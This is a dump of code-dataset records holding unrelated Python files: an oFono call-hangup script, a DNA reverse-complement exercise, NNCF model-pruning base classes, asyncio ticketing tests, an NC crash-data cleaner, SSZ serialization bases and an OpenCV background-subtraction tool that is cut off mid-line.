colonne == 3: # Pareil pour le reste\n for ligne in range(-8, 10): # 10 est exclu\n if ligne == -8 or ligne == 9:\n self.grille[ligne_milieu + ligne][colonne_milieu + colonne].statut = 1\n self.grille[ligne_milieu + ligne][colonne_milieu + colonne].afficher(self.fenetre)\n elif colonne == -2 or colonne == 1:\n for ligne in range(-8, 10): # 10 est exclu\n self.grille[ligne_milieu + ligne][colonne_milieu + colonne].statut = 1\n self.grille[ligne_milieu + ligne][colonne_milieu + colonne].afficher(self.fenetre)","sub_path":"grille.py","file_name":"grille.py","file_ext":"py","file_size_in_byte":17121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"325901840","text":"#!/usr/bin/python\n\nimport sys\nimport dbus\n\nbus = dbus.SystemBus()\n\nif (len(sys.argv) < 2):\n print(\"Usage: %s [ Call Path ]\" % (sys.argv[0]))\n sys.exit(1)\n\ncall = dbus.Interface(bus.get_object('org.ofono', sys.argv[1]),\n 'org.ofono.VoiceCall')\ncall.Hangup()\n","sub_path":"recipes-openauto/crankshaft/files/hangup_call.py","file_name":"hangup_call.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"473632319","text":"def getComplementary( str ):\n if str == 'A':\n return 'T'\n if str == 'T':\n return 'A'\n if str == 'G':\n return 'C'\n if str == 'C':\n return 'G'\n\nwith open(\"rosalind_revc.txt\") as f:\n content = f.readlines()\n\n strRNA = ''.join(reversed(content[0]))\n\n RNAContent = strRNA.replace('T','M').replace('A','T').replace('M','A').replace('C','N').replace('G','C').replace('N','G')\n\n print (RNAContent)","sub_path":"ComplementingAStrandOfDNA.py","file_name":"ComplementingAStrandOfDNA.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"461204453","text":"\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sys\n\nimport chronostar.fitplotter\n\nsys.path.insert(0, '..')\n\nimport chronostar.errorellipse as ee\n\npoints = np.random.multivariate_normal(\n mean=(1, 1), cov=[[0.4, -0.3], [0.2, 0.4]], size=1000\n)\n# Plot the raw points...\nfig, ax = plt.subplots(1, 1)\nx, y = points.T\nel = chronostar.fitplotter.plotPointCov(points, nstd=3)#, ax=ax)\nplt.plot(x, y, 'ro')\n\n# Plot a transparent 3 standard deviation covariance ellipse\nfig.savefig(\"temp_plots/error_ellipse_default.png\")\n\n# Plot a transparent 3 standard deviation covariance ellipse\n# Notice how the plot bounds include entire ellipse\nplt.clf()\nfig2, ax2 = plt.subplots(1, 1)\nel = chronostar.fitplotter.plotPointCov(points, nstd=3, ax=ax2, with_line=True, alpha=0.2,\n color='green')\nfig2.savefig(\"temp_plots/error_ellipse_solo.png\")\n\n\n","sub_path":"demos/errorellipse_demo.py","file_name":"errorellipse_demo.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"554363698","text":"\"\"\"\n Copyright (c) 2020 Intel Corporation\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\"\"\"\nimport torch\nfrom functools import partial\nfrom functools import update_wrapper\nfrom typing import List, Dict\n\nfrom torch import nn\n\nfrom nncf import NNCFConfig\nfrom nncf.config.extractors import extract_algo_specific_config\nfrom nncf.torch.algo_selector import ZeroCompressionLoss\nfrom nncf.common.graph.transformations.commands import TargetType\nfrom nncf.torch.compression_method_api import PTCompressionAlgorithmBuilder\nfrom nncf.torch.compression_method_api import PTCompressionAlgorithmController\nfrom nncf.common.utils.logger import logger as nncf_logger\nfrom nncf.torch.graph.transformations.layout import PTTransformationLayout\nfrom nncf.torch.nncf_network import NNCFNetwork\nfrom nncf.torch.graph.transformations.commands import TransformationPriority\nfrom nncf.torch.graph.transformations.commands import PTTargetPoint\nfrom nncf.torch.graph.transformations.commands import PTInsertionCommand\nfrom nncf.torch.pruning.export_helpers import PT_PRUNING_OPERATOR_METATYPES\nfrom nncf.torch.pruning.filter_pruning.layers import apply_filter_binary_mask\nfrom nncf.common.pruning.clusterization import Clusterization\nfrom nncf.common.pruning.clusterization import Cluster\nfrom nncf.torch.pruning.structs import PrunedModuleInfo\n\n\nclass BasePruningAlgoBuilder(PTCompressionAlgorithmBuilder):\n def __init__(self, config, should_init: bool = True):\n super().__init__(config, should_init)\n params = self._algo_config.get('params', {})\n self._set_default_params_for_ranking_type(params)\n self._params = params\n\n self.prune_first = params.get('prune_first_conv', False)\n self.prune_last = params.get('prune_last_conv', False)\n self.prune_batch_norms = params.get('prune_batch_norms', True)\n self.prune_downsample_convs = params.get('prune_downsample_convs', False)\n\n self._prunable_types = self.get_op_types_of_pruned_modules()\n\n from nncf.common.pruning.pruning_node_selector import PruningNodeSelector\n self.pruning_node_selector = PruningNodeSelector(PT_PRUNING_OPERATOR_METATYPES,\n self._prunable_types,\n self.get_types_of_grouping_ops(),\n self.ignored_scopes,\n self.target_scopes,\n self.prune_first,\n self.prune_last,\n self.prune_downsample_convs)\n\n self.pruned_module_groups_info = []\n\n @staticmethod\n def _set_default_params_for_ranking_type(params: Dict) -> None:\n \"\"\"\n Setting default parameter values of pruning algorithm depends on the ranking type:\n for learned_ranking `all_weights` must be True (in case of False was set by the user, an Exception will be\n raised), `prune_first_conv`, `prune_last_conv`, `prune_downsample_convs` are recommended to be True (this\n params will be set to True by default (and remain unchanged if the user sets some value).\n :param params: dict with parameters of the algorithm from config\n \"\"\"\n learned_ranking = 'interlayer_ranking_type' in params and params['interlayer_ranking_type'] == 'learned_ranking'\n if not learned_ranking:\n return\n nncf_logger.info('For learning global ranking `prune_first_conv`, `prune_last_conv`, `prune_downsample_convs`, '\n '`all_weights` are setting to True by default. It is not recommended to set this params'\n ' to False.')\n params.setdefault('prune_first_conv', True)\n params.setdefault('prune_last_conv', True)\n params.setdefault('prune_downsample_convs', True)\n if params.get('all_weights') is False:\n raise Exception('In case of `interlayer_ranking_type`=`learned_ranking`, `all_weights` must be set to True,'\n ' plese, change this in config settings.')\n params.setdefault('all_weights', True)\n\n def _get_transformation_layout(self, target_model: NNCFNetwork) -> PTTransformationLayout:\n layout = PTTransformationLayout()\n commands = self._prune_weights(target_model)\n for command in commands:\n layout.register(command)\n return layout\n\n def _prune_weights(self, target_model: NNCFNetwork):\n target_model_graph = target_model.get_original_graph()\n groups_of_nodes_to_prune = self.pruning_node_selector.create_pruning_groups(target_model_graph)\n\n device = next(target_model.parameters()).device\n insertion_commands = []\n self.pruned_module_groups_info = Clusterization[PrunedModuleInfo](lambda x: x.node_name)\n\n for i, group in enumerate(groups_of_nodes_to_prune.get_all_clusters()):\n group_minfos = []\n for node in group.elements:\n node_name = node.node_name\n module = target_model.get_containing_module(node_name)\n module_scope = target_model_graph.get_scope_by_node_name(node_name)\n # Check that we need to prune weights in this op\n assert self._is_pruned_module(module)\n\n nncf_logger.info(\"Adding Weight Pruner in scope: {}\".format(node_name))\n operation = self.create_weight_pruning_operation(module)\n hook = operation.to(device)\n insertion_commands.append(\n PTInsertionCommand(\n PTTargetPoint(TargetType.OPERATION_WITH_WEIGHTS,\n target_node_name=node_name),\n hook,\n TransformationPriority.PRUNING_PRIORITY\n )\n )\n\n group_minfos.append(PrunedModuleInfo(node_name=node_name,\n module_scope=module_scope,\n module=module,\n operand=hook,\n node_id=node.node_id))\n cluster = Cluster[PrunedModuleInfo](i, group_minfos, [n.node_id for n in group.elements])\n self.pruned_module_groups_info.add_cluster(cluster)\n return insertion_commands\n\n def create_weight_pruning_operation(self, module):\n raise NotImplementedError\n\n def _is_pruned_module(self, module: nn.Module):\n \"\"\"\n Return whether this module should be pruned or not.\n \"\"\"\n raise NotImplementedError\n\n def get_op_types_of_pruned_modules(self):\n \"\"\"\n Returns list of operation types that should be pruned.\n \"\"\"\n raise NotImplementedError\n\n def get_types_of_grouping_ops(self):\n raise NotImplementedError\n\n def initialize(self, model: NNCFNetwork) -> None:\n pass\n\n\nclass BasePruningAlgoController(PTCompressionAlgorithmController):\n def __init__(self, target_model: NNCFNetwork,\n prunable_types: List[str],\n pruned_module_groups_info: Clusterization[PrunedModuleInfo],\n config: NNCFConfig):\n super().__init__(target_model)\n self._loss = ZeroCompressionLoss(next(target_model.parameters()).device)\n self._prunable_types = prunable_types\n self.config = config\n self.pruning_config = extract_algo_specific_config(config, 'filter_pruning')\n params = self.pruning_config.get('params', {})\n self.pruned_module_groups_info = pruned_module_groups_info\n self.prune_batch_norms = params.get('prune_batch_norms', True)\n self.prune_first = params.get('prune_first_conv', False)\n self.prune_last = params.get('prune_last_conv', False)\n self.prune_downsample_convs = params.get('prune_downsample_convs', False)\n self.zero_grad = params.get('zero_grad', True)\n self.prune_flops = False\n self.check_pruning_rate(params)\n self._hooks = []\n\n def freeze(self):\n raise NotImplementedError\n\n def set_pruning_rate(self, pruning_rate):\n raise NotImplementedError\n\n def step(self, next_step):\n raise NotImplementedError\n\n def zero_grads_for_pruned_modules(self):\n \"\"\"\n This function registers a hook that will set the\n gradients for pruned filters to zero.\n \"\"\"\n self._clean_hooks()\n\n def hook(grad, mask, dim=0):\n mask = mask.to(grad.device)\n return apply_filter_binary_mask(mask, grad, dim=dim)\n\n for minfo in self.pruned_module_groups_info.get_all_nodes():\n mask = minfo.operand.binary_filter_pruning_mask\n weight = minfo.module.weight\n dim = minfo.module.target_weight_dim_for_compression\n partial_hook = update_wrapper(partial(hook, mask=mask, dim=dim), hook)\n self._hooks.append(weight.register_hook(partial_hook))\n if minfo.module.bias is not None:\n bias = minfo.module.bias\n partial_hook = update_wrapper(partial(hook, mask=mask), hook)\n self._hooks.append(bias.register_hook(partial_hook))\n\n def check_pruning_rate(self, params):\n \"\"\"\n Check that set only one of pruning target params\n \"\"\"\n pruning_target = params.get('pruning_target', None)\n pruning_flops_target = params.get('pruning_flops_target', None)\n if pruning_target and pruning_flops_target:\n raise ValueError('Only one parameter from \\'pruning_target\\' and \\'pruning_flops_target\\' can be set.')\n if pruning_flops_target:\n self.prune_flops = True\n\n def _clean_hooks(self):\n for h in self._hooks:\n h.remove()\n self._hooks = []\n\n def get_mask(self, minfo: PrunedModuleInfo) -> torch.Tensor:\n \"\"\"\n Returns pruning mask for minfo.module.\n \"\"\"\n raise NotImplementedError\n\n @staticmethod\n def pruning_rate_for_weight(minfo: PrunedModuleInfo):\n \"\"\"\n Calculates sparsity rate for all weight nodes.\n \"\"\"\n weight = minfo.module.weight\n pruning_rate = 1 - weight.nonzero().size(0) / weight.view(-1).size(0)\n return pruning_rate\n\n @staticmethod\n def pruning_rate_for_filters(minfo: PrunedModuleInfo):\n \"\"\"\n Calculates sparsity rate for weight filter-wise.\n \"\"\"\n dim = minfo.module.target_weight_dim_for_compression\n weight = minfo.module.weight.transpose(0, dim).contiguous()\n filters_sum = weight.view(weight.size(0), -1).sum(axis=1)\n pruning_rate = 1 - len(filters_sum.nonzero()) / filters_sum.size(0)\n return pruning_rate\n\n def pruning_rate_for_mask(self, minfo: PrunedModuleInfo):\n mask = self.get_mask(minfo)\n pruning_rate = 1 - mask.nonzero().size(0) / max(mask.view(-1).size(0), 1)\n return pruning_rate\n\n def mask_shape(self, minfo: PrunedModuleInfo):\n mask = self.get_mask(minfo)\n return mask.shape\n\n def get_stats_for_pruned_modules(self):\n \"\"\"\n Return dict with information about pruned modules. Keys in dict is module names, values is dicts with next keys:\n 'w_shape': shape of module weight,\n 'b_shape': shape of module bias,\n 'params_count': total number of params in module\n 'mask_pr': proportion of zero elements in filter pruning mask.\n \"\"\"\n stats = {}\n for minfo in self.pruned_module_groups_info.get_all_nodes():\n layer_info = {}\n layer_info[\"w_shape\"] = list(minfo.module.weight.size())\n layer_info[\"b_shape\"] = list(minfo.module.bias.size()) if minfo.module.bias is not None else []\n layer_info[\"params_count\"] = sum(p.numel() for p in minfo.module.parameters() if p.requires_grad)\n\n layer_info[\"mask_pr\"] = self.pruning_rate_for_mask(minfo)\n\n stats[str(minfo.module_scope)] = layer_info\n\n return stats\n","sub_path":"nncf/torch/pruning/base_algo.py","file_name":"base_algo.py","file_ext":"py","file_size_in_byte":12696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"210011145","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nn_graphs = 100000\n\nY=[]\nedges=[]\nnodes=[]\nfor i in range(0,n_graphs):\n n_interm = np.random.randint(1,4)\n\n\n nodes_tmp = []\n nodes_tmp.append([i,0,1.0,1.0])\n\n for j in range(0,n_interm):\n nodes_tmp.append([i,j+1,np.random.rand(),np.random.rand()])\n nodes_tmp.append([i,n_interm+1,0.0,0.0])\n\n\n time = 0.0\n tot_dist=0.0\n for j in range(1,len(nodes_tmp)):\n dist = np.sqrt((nodes_tmp[j-1][2]-nodes_tmp[j][2])**2+(nodes_tmp[j-1][3]-nodes_tmp[j][3])**2)\n tot_dist+=dist\n \n speed_limit = np.random.rand()+0.5\n time += dist/speed_limit\n\n edges.append([i,j-1,j,speed_limit])\n Y.append([tot_dist,time])\n\n\n\n for j in range(0,len(nodes_tmp)):\n nodes.append(nodes_tmp[j])\n\n if i%100==0:\n print(i)\n\nedges=np.array(edges)\nnodes=np.array(nodes)\nY=np.array(Y)\ndf_nodes = pd.DataFrame(nodes,columns=[\"graph_id\",\"node_id\",\"x\",\"y\"])\ndf_edges = pd.DataFrame(edges,columns=[\"graph_id\",\"node_id_from\",\"node_id_to\",\"speed_limit\"])\n\nimport pickle\npickle.dump([df_nodes,df_edges,Y],open(\"df.pickle\",\"wb\"))","sub_path":"gen_ds.py","file_name":"gen_ds.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"33046103","text":"import unittest\nfrom brittle_wit.ticketing import TicketMaster\nfrom test.helpers import *\n\n\nasync def use_ticket(ticket, identifier, busy_work):\n async with ticket:\n await busy_work\n return identifier\n\n\nclass BlowUpError(Exception):\n pass\n\n\nasync def blow_up():\n raise BlowUpError()\n\n\nasync def sim_ticket_master_usage(loop, n):\n tm = TicketMaster()\n\n tasks = []\n for i in range(n):\n # The first ticketed coro waits the longest....\n # The second waits second longest...\n busy_work = asyncio.sleep((n-1) * 0.02, loop=loop)\n\n coro = use_ticket(tm.take_ticket('test', loop), i, busy_work)\n tasks.append(loop.create_task(coro))\n results = []\n\n for task in asyncio.as_completed(tasks, loop=loop):\n results.append(await task)\n\n return results\n\n\nasync def sim_ticket_master_usage_with_blowup(loop):\n n = 5\n tm = TicketMaster()\n\n tasks = []\n for i in range(n):\n # The first ticketed coro waits the longest....\n # The second waits second longest..\n if i == 3:\n busy_work = blow_up()\n else:\n busy_work = asyncio.sleep((n-1) * 0.02, loop=loop)\n\n coro = use_ticket(tm.take_ticket('test', loop), i, busy_work)\n tasks.append(loop.create_task(coro))\n results = []\n\n for task in asyncio.as_completed(tasks, loop=loop):\n try:\n results.append(await task)\n except BlowUpError:\n pass\n\n return results\n\n\nclass TestTicketMaster(unittest.TestCase):\n def test_ticket_master(self):\n loop = asyncio.new_event_loop()\n n = 5\n result = loop.run_until_complete(sim_ticket_master_usage(loop, n))\n loop.close()\n self.assertEqual(result, list(range(n)))\n\n def test_ticket_master_with_failing_coro(self):\n loop = asyncio.new_event_loop()\n coro = sim_ticket_master_usage_with_blowup(loop)\n result = loop.run_until_complete(coro)\n loop.close()\n\n # Number 3 blows up\n self.assertEqual(result, [0, 1, 2, 4])\n\n def test_is_line_empty(self):\n tm = TicketMaster()\n self.assertTrue(tm.is_line_empty('main_line'))\n self.assertTrue(tm.is_line_empty('second_line'))\n tm._lines['main_line'] = 'MOCK'\n self.assertFalse(tm.is_line_empty('main_line'))\n self.assertTrue(tm.is_line_empty('second_line'))\n\n def test_all_lines_empty(self):\n tm = TicketMaster()\n self.assertTrue(tm.all_lines_empty())\n tm._lines['main_line'] = 'MOCK'\n self.assertFalse(tm.all_lines_empty())\n","sub_path":"test/test_ticketing.py","file_name":"test_ticketing.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"449882724","text":"# -*- coding:utf-8 -*-\n\n\"\"\"\n将执行后的case实际结果以相对应格式保存\n该工具类便于对依赖数据进行处理\n\"\"\"\n\nimport json\nfrom loguru import logger\nfrom jsonpath import jsonpath\n\nclass Save_Resp(object):\n\n @classmethod\n def save_opt(self, data_container, key, value):\n \"\"\"\n 格式为 : { \"case_id\" : resp }\n :return: { \"case_1\" : resp1, \"case_2\" : resp2, \"case_3\" : resp3 ....}\n \"\"\"\n data_container[key] = value\n\n @classmethod\n def expr_data(self, data, expr):\n data = jsonpath(data, expr)[0]\n return data\n\nif __name__ == '__main__':\n save = Save_Resp()\n value = {\"mobile\":\"123456\"}\n save.save_opt(\"username1\", value)\n expr = \"$.username1.mobile\"\n save.expr_data(expr)\n\n\n # save.expr_format(\"$.username1.mobile\")","sub_path":"common/save_resp.py","file_name":"save_resp.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"384814713","text":"from abc import (\n ABC,\n abstractmethod,\n)\nfrom typing import (\n Any,\n Generic,\n Tuple,\n)\n\nfrom eth_typing import (\n Hash32,\n)\n\nfrom ssz.typing import (\n CacheObj,\n TDeserialized,\n TSerializable,\n)\n\n\nclass BaseSedes(ABC, Generic[TSerializable, TDeserialized]):\n #\n # Size\n #\n @property\n @abstractmethod\n def is_fixed_sized(self) -> bool:\n ...\n\n @abstractmethod\n def get_fixed_size(self) -> int:\n ...\n\n #\n # Serialization\n #\n @abstractmethod\n def serialize(self, value: TSerializable) -> bytes:\n ...\n\n #\n # Deserialization\n #\n @abstractmethod\n def deserialize(self, data: bytes) -> TDeserialized:\n ...\n\n #\n # Tree hashing\n #\n @abstractmethod\n def get_hash_tree_root(self, value: TSerializable) -> Hash32:\n ...\n\n @abstractmethod\n def get_hash_tree_root_and_leaves(self,\n value: TSerializable,\n cache: CacheObj) -> Tuple[Hash32, CacheObj]:\n ...\n\n @abstractmethod\n def chunk_count(self) -> int:\n ...\n\n @abstractmethod\n def get_key(self, value: Any) -> bytes:\n ...\n\n\nTSedes = BaseSedes[Any, Any]\n\n\nclass BaseCompositeSedes(BaseSedes[TSerializable, TDeserialized]):\n @abstractmethod\n def get_key(self, value: Any) -> bytes:\n ...\n\n\nclass BaseByteSedes(BaseSedes[TSerializable, TDeserialized]):\n @abstractmethod\n def get_key(self, value: Any) -> bytes:\n ...\n","sub_path":"ssz/sedes/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"103995455","text":"# -*- coding: utf-8 -*-\n\"\"\"\nClean \"2015 – 2019 Section Safety Scores\" crash data for all Interstates, US Routes,\nNC Routes, and secondary route in North Carolina.\nCreated by: Apoorba Bibeka\n\"\"\"\nimport os\nimport pandas as pd\nimport geopandas as gpd\nfrom src.utils import get_project_root\nfrom src.utils import read_shp\n\n\ndef fix_crash_dat_type(crash_df_):\n \"\"\"\n Fix data for \"2015 – 2019 Section Safety Scores\" data and filter to relevant columns.\n Parameters\n ----------\n crash_df_: pd.Dataframe()\n Crash data.\n Returns\n -------\n crash_df_add_col_\n Crash data with additional columns.\n \"\"\"\n crash_df_add_col_ = crash_df_.assign(\n route_gis=lambda df: df.route_gis.astype(str).str.split(\".\", expand=True)[0],\n route_class=lambda df: df.route_gis.str[0].astype(int),\n route_qual=lambda df: df.route_gis.str[1].astype(int),\n route_inventory=lambda df: df.route_gis.str[2].astype(int),\n route_no=lambda df: df.route_gis.str[3:8].astype(int),\n route_county=lambda df: df.route_gis.str[8:11].astype(int),\n st_end_diff=lambda df: df.end_mp_pt - df.st_mp_pt,\n density_sc=lambda df: pd.to_numeric(df.density_sc, errors=\"coerce\"),\n severity_s=lambda df: pd.to_numeric(df.severity_s, errors=\"coerce\"),\n rate_score=lambda df: pd.to_numeric(df.rate_score, errors=\"coerce\"),\n combined_s=lambda df: pd.to_numeric(df.combined_s, errors=\"coerce\"),\n ka_cnt=lambda df: pd.to_numeric(df.ka_cnt, errors=\"coerce\"),\n bc_cnt=lambda df: pd.to_numeric(df.bc_cnt, errors=\"coerce\"),\n pdo_cnt=lambda df: pd.to_numeric(df.pdo_cnt, errors=\"coerce\"),\n total_cnt=lambda df: pd.to_numeric(df.total_cnt, errors=\"coerce\"),\n shape_len_mi=lambda df: pd.to_numeric(df.shape__len, errors=\"coerce\") / 5280,\n ).filter(\n items=[\n \"route_gis\",\n \"route_class\",\n \"route_qual\",\n \"route_inventory\",\n \"route_no\",\n \"route_county\",\n \"county\",\n \"st_mp_pt\",\n \"end_mp_pt\",\n \"density_sc\",\n \"severity_s\",\n \"rate_score\",\n \"combined_s\",\n \"combined_r\",\n \"ka_cnt\",\n \"bc_cnt\",\n \"pdo_cnt\",\n \"total_cnt\",\n \"shape_len_mi\",\n \"st_end_diff\",\n ]\n )\n return crash_df_add_col_\n\n\ndef test_crash_dat(crash_df_fil_):\n \"\"\"\n Test if the county number obtained from the route_gis matches the county number\n provided in the data.\n Parameters\n ----------\n crash_df_fil_: pd.DataFrame\n Filtered crash data to 1: interstate, 2: US Route, 3: NC Route,\n 4: Secondary Route.\n \"\"\"\n assert (\n crash_df_fil_.route_county == crash_df_fil_.county\n ).all(), \"County number in the data does not matches county number from route_gis.\"\n\n\ndef get_severity_index(\n crash_df_fil_, ka_si_factor=76.8, bc_si_factor=8.4, ou_si_factor=1\n):\n \"\"\"\n Function to compute severity index.\n Parameters\n ----------\n crash_df_fil_: pd.DataFrame\n Filtered crash data to 1: interstate, 2: US Route, 3: NC Route,\n 4: Secondary Route.\n ka_si_factor: float\n severity factor for K and A type crashes.\n bc_si_factor: float\n severity factor for B and C type crashes.\n ou_si_factor: float\n severity factor for O and U type crashes.\n Returns\n -------\n crash_df_fil_si_: pd.DataFrame\n crash_df_fil with column for severity index.\n \"\"\"\n crash_df_fil_si_ = crash_df_fil_.assign(\n severity_index=lambda df, ka_si=ka_si_factor, bc_si=bc_si_factor, ou_si=ou_si_factor: (\n ka_si * df.ka_cnt + bc_si * df.bc_cnt + ou_si * df.pdo_cnt\n )\n / df.total_cnt\n )\n crash_df_fil_si_.loc[lambda df: df.total_cnt == 0, \"severity_index\"] = 1\n\n return crash_df_fil_si_\n\n\nif __name__ == \"__main__\":\n # Set the paths to relevant files and folders.\n # Load NCDOT 2015-2019 crash data.\n # ************************************************************************************\n path_to_prj_dir = get_project_root()\n path_to_raw = os.path.join(path_to_prj_dir, \"data\", \"raw\")\n path_interim_data = os.path.join(path_to_prj_dir, \"data\", \"interim\")\n crash_file = os.path.join(path_to_raw, \"SectionScores_2015_2019\")\n crash_gdf = read_shp(file=crash_file)\n crash_gdf_geom_4326 = crash_gdf.to_crs(epsg=4326).geometry\n crash_df = pd.DataFrame(crash_gdf.drop(columns=\"geometry\"))\n # Fix data types.\n # ************************************************************************************\n crash_df_add_col = fix_crash_dat_type(crash_df)\n set(crash_df_add_col.route_no.unique())\n # Filter crash data to 1: interstate, 2: US Route, 3: NC Route, 4: Secondary Route.\n # ************************************************************************************\n max_highway_class = 3\n crash_df_fil = crash_df_add_col.loc[lambda df: df.route_class <= max_highway_class]\n test_crash_dat(crash_df_fil)\n # Get severity index.\n # ************************************************************************************\n crash_df_fil_si = get_severity_index(crash_df_fil)\n # Add geometry column back to crash_df_fil_si\n # ************************************************************************************\n crash_df_fil_si_geom = crash_df_fil_si.merge(\n crash_gdf_geom_4326, left_index=True, right_index=True, how=\"left\"\n )\n # Convert crash data to GeoDataFrame() and output to gpkg file.\n # ************************************************************************************\n crash_df_fil_si_geom_gdf = gpd.GeoDataFrame(\n crash_df_fil_si_geom, geometry=crash_df_fil_si_geom.geometry,\n )\n crash_df_fil_si_geom_gdf.crs = \"EPSG:4326\"\n out_file_crash_si = os.path.join(path_interim_data, \"nc_crash_si_2015_2019.gpkg\")\n crash_df_fil_si_geom_gdf.to_file(out_file_crash_si, driver=\"GPKG\")\n","sub_path":"src/data/crash.py","file_name":"crash.py","file_ext":"py","file_size_in_byte":5997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"515314511","text":"import cv2\r\nfrom enum import Enum\r\nimport numpy\r\n\r\n\r\nclass BackGroundSubtractionAlgorithm(Enum):\r\n mog = 0\r\n mog2 = 1\r\n gmg = 2\r\n knn = 3\r\n\r\nbackground_subtractor = {\r\n BackGroundSubtractionAlgorithm.knn: cv2.createBackgroundSubtractorKNN,\r\n BackGroundSubtractionAlgorithm.gmg: cv2.bgsegm.createBackgroundSubtractorGMG,\r\n BackGroundSubtractionAlgorithm.mog2: cv2.createBackgroundSubtractorMOG2,\r\n BackGroundSubtractionAlgorithm.mog: cv2.bgsegm.createBackgroundSubtractorMOG\r\n}\r\n\r\ndefault_params = {\r\n BackGroundSubtractionAlgorithm.gmg: {},\r\n BackGroundSubtractionAlgorithm.knn: {},\r\n BackGroundSubtractionAlgorithm.mog2: {},\r\n BackGroundSubtractionAlgorithm.mog: {}\r\n}\r\n\r\n\r\nclass DiffWatch:\r\n max_median = 20\r\n max_gauss = 30\r\n max_close = 100\r\n max_canny_size = 30\r\n chain_appx = [cv2.CHAIN_APPROX_NONE, cv2.CHAIN_APPROX_SIMPLE,\r\n cv2.CHAIN_APPROX_TC89_KCOS, cv2.CHAIN_APPROX_TC89_L1]\r\n\r\n def __init__(self, algorithm=BackGroundSubtractionAlgorithm.gmg,\r\n debug=True, changed=None, *args, **kwargs):\r\n # @TODO: try local_otsu, adaptive threshold\r\n self.gauss = 5\r\n self.median = 15\r\n self.otsu = True\r\n self.thresh = 10\r\n self.close = 15\r\n self.min_area = 0.02\r\n self.connected = False\r\n self.canny_hi = 255\r\n self.canny_lo = self.canny_hi\r\n self.canny_size = 3\r\n self.chain_appx = 2\r\n\r\n if not kwargs:\r\n kwargs = default_params[algorithm]\r\n\r\n self.changed = changed\r\n\r\n self.fgbg = background_subtractor[algorithm](*args, **kwargs)\r\n self.background = None\r\n self.algorithm = algorithm\r\n\r\n # keep a reference, so that callbacks can call the __call__ method again\r\n self.img = None\r\n\r\n if debug:\r\n self.wname = 'DiffWatch Control Panel'\r\n self.debugwname = 'DiffWatch Debug'\r\n self.bgwname = 'DiffWatch Background'\r\n cv2.namedWindow(self.wname)\r\n cv2.namedWindow(self.debugwname)\r\n cv2.createTrackbar('gauss size', self.wname, (self.gauss / 2) * 2 + 1, DiffWatch.max_gauss,\r\n lambda val: self.setattr_and_call('gauss', (val / 2) * 2 + 1))\r\n\r\n cv2.createTrackbar('median size', self.wname, (self.median / 2) * 2 + 1, DiffWatch.max_median,\r\n lambda val: self.setattr_and_call('median', (val / 2) * 2 + 1))\r\n\r\n cv2.createTrackbar('otsu', self.wname, int(self.otsu), 1,\r\n lambda val: self.setattr_and_call('otsu', bool(val)))\r\n\r\n cv2.createTrackbar('diff thresh', self.wname, self.thresh, 255,\r\n lambda val: self.setattr_and_call('thresh', val) if not self.otsu else None)\r\n\r\n cv2.createTrackbar('close size', self.wname, self.close, DiffWatch.max_close,\r\n lambda val: self.setattr_and_call('close', val))\r\n\r\n cv2.createTrackbar('min area', self.wname, int(self.min_area * 100), 100,\r\n lambda val: self.setattr_and_call('min_area', val / 100.))\r\n\r\n cv2.createTrackbar('connected components', self.wname, int(self.connected), 1,\r\n lambda val: self.setattr_and_call('connected', bool(val)))\r\n\r\n cv2.createTrackbar('canny confident threshold', self.wname, self.canny_hi, 255,\r\n lambda val: self.canny_hi_trackbar(val))\r\n\r\n cv2.createTrackbar('canny connection threshold', self.wname,\r\n self.canny_lo, self.canny_hi,\r\n lambda val: self.setattr_and_call('canny_lo', val))\r\n\r\n cv2.createTrackbar('canny aperture', self.wname, self.canny_size,\r\n DiffWatch.max_canny_size,\r\n lambda val: self.setattr_and_call('canny_size', val))\r\n\r\n cv2.createTrackbar('findContours method', self.wname,\r\n self.chain_appx, len(DiffWatch.chain_appx),\r\n lambda val: self.setattr_and_call('chain_appx', val))\r\n\r\n def setattr_and_call(self, param_name, val):\r\n if not hasattr(param_name, '__iter__'):\r\n param_name = [param_name]\r\n\r\n if not hasattr(val, '__iter__'):\r\n val = [val]\r\n\r\n for p, v in zip(param_name, val):\r\n setattr(self, p, v)\r\n\r\n if self.changed is not None:\r\n self.changed(self.__call__(self.img))\r\n\r\n def canny_hi_trackbar(self, val):\r\n if self.canny_lo <= val:\r\n return self.setattr_and_call('canny_hi', val)\r\n\r\n self.canny_hi = val\r\n cv2.setTrackbarMax('canny connection threshold', self.wname, val)\r\n\r\n # trackbar callback calls __call__ (that's a pretty cold statement right there)\r\n cv2.setTrackbarPos('canny connection threshold', self.wname, val)\r\n\r\n def __del__(self):\r\n cv2.destroyWindow(self.wname)\r\n cv2.destroyWindow(self.debugwname)\r\n cv2.destroyWindow(self.bgwname)\r\n\r\n def reset(self):\r\n self.fgbg.clear()\r\n\r\n def __call__(self, img):\r\n self.img = img\r\n if img is None:\r\n return None\r\n\r\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n img = 